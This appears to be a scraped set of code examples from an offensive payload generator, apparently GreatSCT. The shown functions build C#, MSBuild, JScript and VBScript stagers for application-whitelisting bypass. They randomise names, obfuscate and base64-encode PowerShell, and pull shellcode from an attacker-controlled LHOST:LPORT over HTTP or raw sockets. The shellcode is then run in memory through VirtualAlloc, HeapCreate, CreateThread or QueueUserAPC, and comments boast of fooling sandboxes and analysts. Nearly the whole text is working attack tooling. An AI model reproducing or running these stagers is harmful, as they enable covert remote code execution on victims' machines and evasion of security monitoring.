                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }
            
            [Flags]
            public enum ThreadAccess : int
            {
                TERMINATE           = (0x0001)  ,
                SUSPEND_RESUME      = (0x0002)  ,
                GET_CONTEXT         = (0x0008)  ,
                SET_CONTEXT         = (0x0010)  ,
                SET_INFORMATION     = (0x0020)  ,
                QUERY_INFORMATION       = (0x0040)  ,
                SET_THREAD_TOKEN    = (0x0080)  ,
                IMPERSONATE         = (0x0100)  ,
                DIRECT_IMPERSONATION    = (0x0200)
            }
            
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
                int dwThreadId);

            
            [DllImport("kernel32.dll",SetLastError = true)]
            public static extern bool WriteProcessMemory(
                IntPtr hProcess,
                IntPtr lpBaseAddress,
                byte[] lpBuffer,
                int nSize,
                out IntPtr lpNumberOfBytesWritten);
            
            [DllImport("kernel32.dll")]
            public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
            
            [DllImport("kernel32.dll", SetLastError = true )]
            public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

            [DllImport("kernel32.dll")]
            static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
            int dwSize, uint flNewProtect, out uint lpflOldProtect);
            
            [DllImport("kernel32.dll")]
            public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
                                    bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
                                    string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

            [DllImport("kernel32.dll")]
            public static extern uint ResumeThread(IntPtr hThread);

            [DllImport("kernel32.dll")]
            public static extern uint SuspendThread(IntPtr hThread);
            }
            """

        with open("/tmp/hta_source.cs", "w") as f:
            f.write(code)

        if self.required_options["SCRIPT_TYPE"][0].lower() == "jscript":

            with open("/tmp/migrate.js", "w") as ff:
                ff.write("o.Print({0});".format(x86))
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll"
                .format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -c HelloWorld -o {0} -s /tmp/migrate.js"
                .format("/tmp/greatsct.js"))
            with open("/tmp/greatsct.js", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.js", 'w') as modified:
                modified.write(
                    "<scriptlet>\n<registration progid=\"helloworld\">\n<script language=\"JScript\">\nvar {0} = \"{1}\";\n\n"
                    .format(x86, Shellcode) + data +
                    "\n</script>\n</registration>\n</scriptlet>")

            with open("/tmp/greatsct.js", "r") as js:
                source_code = js.read()

        elif self.required_options["SCRIPT_TYPE"][0].lower() == "vbscript":
            # do stuff

            with open("/tmp/migrate.vbs", "w") as ff:
                ff.write("o.Print {0}".format(x86))
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll"
                .format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -l vbscript -c HelloWorld -o {0} -s /tmp/migrate.vbs"
                .format("/tmp/greatsct.vbs"))

            with open("/tmp/greatsct.vbs", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.vbs", 'w') as modified:
                modified.write(
                    "<scriptlet>\n<registration progid=\"helloworld\">\n<script language=\"VBScript\">\nDim {0} : {0} = \"{1}\"\n\n"
                    .format(x86, Shellcode) + data +
                    "\n</script>\n</registration>\n</scriptlet>")

            with open("/tmp/greatsct.vbs", "r") as vbs:
                source_code = vbs.read()

        else:
            print("Script type not supported")

        self.payload_source_code = source_code
        return
Example #5
0
    def generate(self):
        options = []
        for option in self.cli_opts.c:
            if "," in option:
                options = option.split(",")
            if " " in option:
                options = option.split(" ")

        for o in options:
            for i in self.required_options:
                if i in o:
                    self.required_options[i][0] = o.strip("{0}=".format(i))
        # randomize all our variable names, yo'
        targetName = bypass_helpers.randomString()
        namespaceName = bypass_helpers.randomString()
        className = bypass_helpers.randomString()
        FunctionName = bypass_helpers.randomString()

        num_tabs_required = 0

        # get 12 random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(12)]
        y = [bypass_helpers.randomString() for x in range(17)]

        with open(self.required_options["SCRIPT"][0], "r") as f:
            the_script = f.read()

        if self.required_options["OBFUSCATION"][0].lower() != "x":
            if self.required_options["FUNCTION"][0] != "x":
                # Append FUNCTION to end of script
                the_script += "\n{0}".format(
                    self.required_options["FUNCTION"][0])
                if self.required_options["OBFUSCATION"][0].lower() == "binary":
                    the_script = invoke_obfuscation.binaryEncode(the_script)
                elif self.required_options["OBFUSCATION"][0].lower(
                ) == "ascii":
                    the_script = invoke_obfuscation.asciiEncode(the_script)
                self.required_options["FUNCTION"][0] = "x"
            else:
                if self.required_options["OBFUSCATION"][0].lower() == "binary":
                    the_script = invoke_obfuscation.binaryEncode(the_script)
                elif self.required_options["OBFUSCATION"][0].lower(
                ) == "ascii":
                    the_script = invoke_obfuscation.asciiEncode(the_script)
                self.required_options["FUNCTION"][0] = "x"

        if self.required_options["FUNCTION"][0].lower() != "x":
            # The header for MSBuild XML files
            # TODO: Fix the awful formatting
            # Set FUNCTION to None if using Invoke-Obfuscation
            msbuild_header = """<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n<!-- C:\Windows\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe SimpleTasks.csproj -->\n\t
            <PropertyGroup>
                <FunctionName Condition="'$(FunctionName)' == ''">{2}</FunctionName>
            </PropertyGroup>
            <Target Name="{0}">
                <{1} />
              </Target>
              <UsingTask
                TaskName="{1}"
                TaskFactory="CodeTaskFactory"
                AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
                <Task>
                    <Reference Include="System.Management.Automation" />
                <Code Type="Class" Language="cs">
                  <![CDATA[
            """.format(targetName, className,
                       self.required_options["FUNCTION"][0])
        else:
            # The header for MSBuild XML files
            # TODO: Fix the awful formatting
            # Set FUNCTION to None if using Invoke-Obfuscation
            msbuild_header = """<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\n\t
            <PropertyGroup>
                <FunctionName Condition="'$(FunctionName)' == ''">{2}</FunctionName>
            </PropertyGroup>
            <Target Name="{0}">
                <{1} />
              </Target>
              <UsingTask
                TaskName="{1}"
                TaskFactory="CodeTaskFactory"
                AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
                <Task>
                    <Reference Include="System.Management.Automation" />
                <Code Type="Class" Language="cs">
                  <![CDATA[
            """.format(targetName, className, "None")

            if self.required_options["OBFUSCATION"][0].lower() != "x":
                if self.required_options["OBFUSCATION"][0].lower() == "binary":
                    the_script = invoke_obfuscation.binaryEncode(the_script)
                elif self.required_options["OBFUSCATION"][0].lower(
                ) == "ascii":
                    the_script = invoke_obfuscation.asciiEncode(the_script)

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Threading; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        payload_code += "\npublic string {0} = \"$(FunctionName)\";".format(
            FunctionName)

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        encodedScript = bypass_helpers.randomString()
        encodedScriptContents = base64.b64encode(bytes(
            the_script, 'latin-1')).decode('ascii')
        powershellCmd = bypass_helpers.randomString()
        data = bypass_helpers.randomString()
        command = bypass_helpers.randomString()
        RunPSCommand = bypass_helpers.randomString()
        cmd = bypass_helpers.randomString()
        runspace = bypass_helpers.randomString()
        scriptInvoker = bypass_helpers.randomString()
        pipeline = bypass_helpers.randomString()
        results = bypass_helpers.randomString()
        stringBuilder = bypass_helpers.randomString()
        obj = bypass_helpers.randomString()
        RunPSFile = bypass_helpers.randomString()
        script = bypass_helpers.randomString()
        ps = bypass_helpers.randomString()
        e = bypass_helpers.randomString()

        payload_code += """string {0} = "{1}";
                    string {2} = "";

					if ({3} != "None")
					{{
						byte[] {4} = Convert.FromBase64String({0});
						string {5} = Encoding.ASCII.GetString({4});
						{2} = {5} + "" + {3};
					}}
                    else
                    {{
                        byte[] {4} = Convert.FromBase64String({0});
                        string {5} = Encoding.ASCII.GetString({4});
                        {2} = {5};
                    }}

					try
					{{
						Console.Write({6}({2}));
					}}
					catch (Exception {7})
					{{
						Console.Write({7}.Message);
					}}""".format(encodedScript, encodedScriptContents, powershellCmd,
                  FunctionName, data, command, RunPSCommand, e)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        payload_code += """return true;
				}}

				//Based on Jared Atkinson's And Justin Warner's Work
				public static string {0}(string {1})
				{{

					Runspace {2} = RunspaceFactory.CreateRunspace();
					{2}.Open();
					RunspaceInvoke {3} = new RunspaceInvoke({2});
					Pipeline {4} = {2}.CreatePipeline();


					{4}.Commands.AddScript({1});


					{4}.Commands.Add("Out-String");
					Collection<PSObject> {5} = {4}.Invoke();
					{2}.Close();


					StringBuilder {6} = new StringBuilder();
					foreach (PSObject {7} in {5})
					{{
						{6}.Append({7});
					}}
					return {6}.ToString().Trim();
				 }}

				 public static void {8}(string {9})
				{{
					PowerShell {10} = PowerShell.Create();
					{10}.AddScript({9}).Invoke();
				}}""".format(RunPSCommand, cmd, runspace, scriptInvoker, pipeline, results,
                 stringBuilder, obj, RunPSFile, script, ps)

        payload_code += "}\n\t\t\t\t]]>\n\t\t\t</Code>\n\t\t</Task>\n\t</UsingTask>\n</Project>"
        payload_code = msbuild_header + payload_code

        self.payload_source_code = payload_code
        return
Example #6
0
    def generate(self):

        # randomize all our variable names, yo'
        classhellcodeName = bypass_helpers.randomString()
        classhellcodeNameTwo = bypass_helpers.randomString()
        namespace = bypass_helpers.randomString()
        key = bypass_helpers.randomString()
        injectName = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()
        shellcodeName = bypass_helpers.randomString()
        rand_bool = bypass_helpers.randomString()
        random_out = bypass_helpers.randomString()

        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;\n"
        payload_code += "namespace {0}\n {{".format(namespace)
        payload_code += "\n\tpublic class {0} : ServicedComponent {{\n".format(
            classhellcodeName)
        # placeholder for legitimate C# program
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        payload_code += '\n\t\tpublic {0}() {{ Console.WriteLine("doge"); }}\n'.format(
            classhellcodeName)
        payload_code += "\n\t\t[ComRegisterFunction]"
        payload_code += "\n\t\tpublic static void RegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n".format(
            classhellcodeNameTwo, execName)
        payload_code += "\n[ComUnregisterFunction]"
        payload_code += "\n\t\tpublic static void UnRegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classhellcodeNameTwo, execName)

        payload_code += "\n\tpublic class {0}\n\t{{".format(
            classhellcodeNameTwo)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        # code for the randomString() function
        randomStringName = bypass_helpers.randomString()
        bufferName = bypass_helpers.randomString()
        charshellcodeName = bypass_helpers.randomString()
        t = list(
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
        random.shuffle(t)
        chars = ''.join(t)

        # code for the randomString() method
        payload_code += "static string %s(Random r, int s) {\n" % (
            randomStringName)
        payload_code += "char[] %s = new char[s];\n" % (bufferName)
        payload_code += "string %s = \"%s\";\n" % (charshellcodeName, chars)
        payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % (
            bufferName, charshellcodeName, charshellcodeName)
        payload_code += "return new string(%s);}\n" % (bufferName)

        # code for the checksum8() function
        checksum8Name = bypass_helpers.randomString()
        payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % (
            checksum8Name)

        # code for the genHTTPChecksum() function
        genHTTPChecksumName = bypass_helpers.randomString()
        baseStringName = bypass_helpers.randomString()
        randCharshellcodeName = bypass_helpers.randomString()
        urlName = bypass_helpers.randomString()
        random.shuffle(t)
        randChars = ''.join(t)

        payload_code += "static string %s(Random r) { string %s = \"\";\n" % (
            genHTTPChecksumName, baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % (
            baseStringName, randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % (
            randCharshellcodeName, randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % (
            randCharshellcodeName)
        payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName,
                                                       randCharshellcodeName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}" % (
            checksum8Name, urlName, urlName)

        # code for getData() function
        getDataName = bypass_helpers.randomString()
        strName = bypass_helpers.randomString()
        webClientName = bypass_helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" % (getDataName,
                                                             strName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % (
            webClientName)
        payload_code += "byte[] %s = null;\n" % (shellcodeName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" % (
            shellcodeName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" % (
            shellcodeName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" % (shellcodeName)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               shellcodeName)
            payload_code += "    if (%s != null) {\n" % (shellcodeName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, shellcodeName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                shellcodeName, funcAddrName, shellcodeName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               shellcodeName)
            payload_code += "    if (%s != null) {\n" % (shellcodeName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, shellcodeName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, shellcodeName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, shellcodeName, shellcodeName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        randomName = bypass_helpers.randomString()
        num_tabs_required = 0

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 3

        payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % (
            randomName)
        payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" % (
            shellcodeName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0], genHTTPChecksumName, randomName)
        payload_code += "%s(%s);\n" % (injectName, shellcodeName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return
Example #7
0
    def generate(self):

        # randomize all our variable names, yo'
        classhellcodeName = bypass_helpers.randomString()
        classhellcodeNameTwo = bypass_helpers.randomString()
        namespace = bypass_helpers.randomString()
        key = bypass_helpers.randomString()
        injectName = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()
        shellcodeName = bypass_helpers.randomString()
        rand_bool = bypass_helpers.randomString()
        random_out = bypass_helpers.randomString()
        getDataName = helpers.randomString()

        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;\n"
        payload_code += "namespace {0}\n {{".format(namespace)
        payload_code += "\n\tpublic class {0} : ServicedComponent {{\n".format(
            classhellcodeName)
        # placeholder for legitimate C# program
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        payload_code += '\n\t\tpublic {0}() {{ Console.WriteLine("doge"); }}\n'.format(
            classhellcodeName)
        payload_code += "\n\t\t[ComRegisterFunction]"
        payload_code += "\n\t\tpublic static void RegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n".format(
            classhellcodeNameTwo, execName)
        payload_code += "\n[ComUnregisterFunction]"
        payload_code += "\n\t\tpublic static void UnRegisterClass ( string {0} )\n\t\t{{\n".format(
            key)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classhellcodeNameTwo, execName)

        payload_code += "\n\tpublic class {0}\n\t{{".format(
            classhellcodeNameTwo)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        hostName = helpers.randomString()
        portName = helpers.randomString()
        ipName = helpers.randomString()
        sockName = helpers.randomString()
        length_rawName = helpers.randomString()
        lengthName = helpers.randomString()
        sName = helpers.randomString()
        total_bytesName = helpers.randomString()
        handleName = helpers.randomString()

        payload_code += "static byte[] %s(string %s, int %s) {\n" % (
            getDataName, hostName, portName)
        payload_code += "    IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" % (
            ipName, hostName, portName)
        payload_code += "    Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" % (
            sockName)
        payload_code += "    try { %s.Connect(%s); }\n" % (sockName, ipName)
        payload_code += "    catch { return null;}\n"
        payload_code += "    byte[] %s = new byte[4];\n" % (length_rawName)
        payload_code += "    %s.Receive(%s, 4, 0);\n" % (sockName,
                                                         length_rawName)
        payload_code += "    int %s = BitConverter.ToInt32(%s, 0);\n" % (
            lengthName, length_rawName)
        payload_code += "    byte[] %s = new byte[%s + 5];\n" % (sName,
                                                                 lengthName)
        payload_code += "    int %s = 0;\n" % (total_bytesName)
        payload_code += "    while (%s < %s)\n" % (total_bytesName, lengthName)
        payload_code += "    { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" % (
            total_bytesName, sockName, sName, total_bytesName, lengthName,
            total_bytesName, lengthName, total_bytesName)
        payload_code += "    byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" % (
            handleName, sockName)
        payload_code += "    Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" % (
            handleName, sName, sName)
        payload_code += "    return %s;}\n" % (sName)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               shellcodeName)
            payload_code += "    if (%s != null) {\n" % (shellcodeName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, shellcodeName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                shellcodeName, funcAddrName, shellcodeName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               shellcodeName)
            payload_code += "    if (%s != null) {\n" % (shellcodeName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, shellcodeName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, shellcodeName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, shellcodeName, shellcodeName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        randomName = bypass_helpers.randomString()
        num_tabs_required = 0

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 3

        payload_code += "    byte[] %s = null; %s = %s(\"%s\", %s);\n" % (
            sName, sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "    %s(%s);\n" % (injectName, sName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return
Example #8
0
    def generate(self):
        options = []
        for option in self.cli_opts.c:
            if "," in option:
                options = option.split(",")
            if " " in option:
                options = option.split(" ")

        for o in options:
            for i in self.required_options:
                if i in o:
                    self.required_options[i][0] = o.strip("{0}=".format(i))

        with open(self.required_options["SCRIPT"][0], "r") as f:
            the_script = f.read()

        if self.required_options["FUNCTION"][0].lower() != "x":
            # Append FUNCTION to end of script
            the_script += "\n{0}".format(self.required_options["FUNCTION"][0])
            FunctionName = self.required_options["FUNCTION"][0]
        else:
            FunctionName = "\"None\""

        if self.required_options["OBFUSCATION"][0].lower() != "x":
            if self.required_options["OBFUSCATION"][0].lower() == "binary":
                the_script = invoke_obfuscation.binaryEncode(the_script)
            elif self.required_options["OBFUSCATION"][0].lower() == "ascii":
                the_script = invoke_obfuscation.asciiEncode(the_script)
            else:
                the_script = invoke_obfuscation.binaryEncode(the_script)

        # randomize all our variable names, yo'
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        classNameThree = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()
        messWithAnalystName = bypass_helpers.randomString()
        shellcodeName = bypass_helpers.randomString()
        rand_bool = bypass_helpers.randomString()
        random_out = bypass_helpers.randomString()


        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;using System.Reflection; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;\n"
        payload_code += "\tpublic class {0} {{\n".format(className)
        payload_code += "\t\tpublic static void Main()\n\t\t{\n"
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        # there is no decryption routine, troll.level = 9000
        # TODO: add a fake decryption function that does nothing and accepts messWithAnalystName as a parameter.
        payload_code += "\t\t\twhile(true)\n{{ MessageBox.Show(\"doge\"); Console.ReadLine();}}\n"
        payload_code += "\t\t}\n\t}\n\n"
        payload_code += "\t[System.ComponentModel.RunInstaller(true)]\n"
        payload_code += "\tpublic class {0} : System.Configuration.Install.Installer\n\t{{\n".format(classNameTwo)
        payload_code += "\t\tpublic override void Uninstall(System.Collections.IDictionary {0})\n\t\t{{\n".format(savedStateName)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(classNameThree, execName)
        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameThree)
        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        encodedScript = bypass_helpers.randomString()
        encodedScriptContents = base64.b64encode(bytes(the_script, 'latin-1')).decode('ascii')
